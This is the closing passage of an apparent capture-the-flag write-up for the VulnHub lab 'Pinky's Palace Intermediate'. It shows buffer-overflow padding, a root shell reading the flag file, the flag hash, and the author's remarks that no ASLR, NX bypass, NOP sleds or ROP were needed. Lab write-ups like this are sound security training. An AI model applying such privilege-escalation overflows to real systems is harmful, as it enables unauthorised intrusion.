AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA๏ฟฝGUUUU
# cat /root/root.txt
===========[!!!CONGRATS!!!]===========

[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther

Flag: 99975cfc5e2eb4c199d38d4a2b2c03ce
# whoami
root

The flag is 99975cfc5e2eb4c199d38d4a2b2c03ce. I’ve checked this on the crackstation, but no luck. It seems that’s the end!

flag

Wrapping it up

This challenge was fun! It seems like this strange hash is the solution. So thank you @Pink_P4nther for your challenge. I’m looking forward to pwning other machines on VulnHub in my free time.

This privilege exploitation could be worse with ASLR and NX. But this time no NOP sleds or ROP was needed.

Ok, so that’s all for today. If you have any comments/protips or questions you can find me on IRC(foxtrot_charlie on freenode)/twitter or via en email listed on whoami page. Now I have to focus on post that describes easy radare2 plugin development.

See you on the Internet!

foxtrot_charlie over and out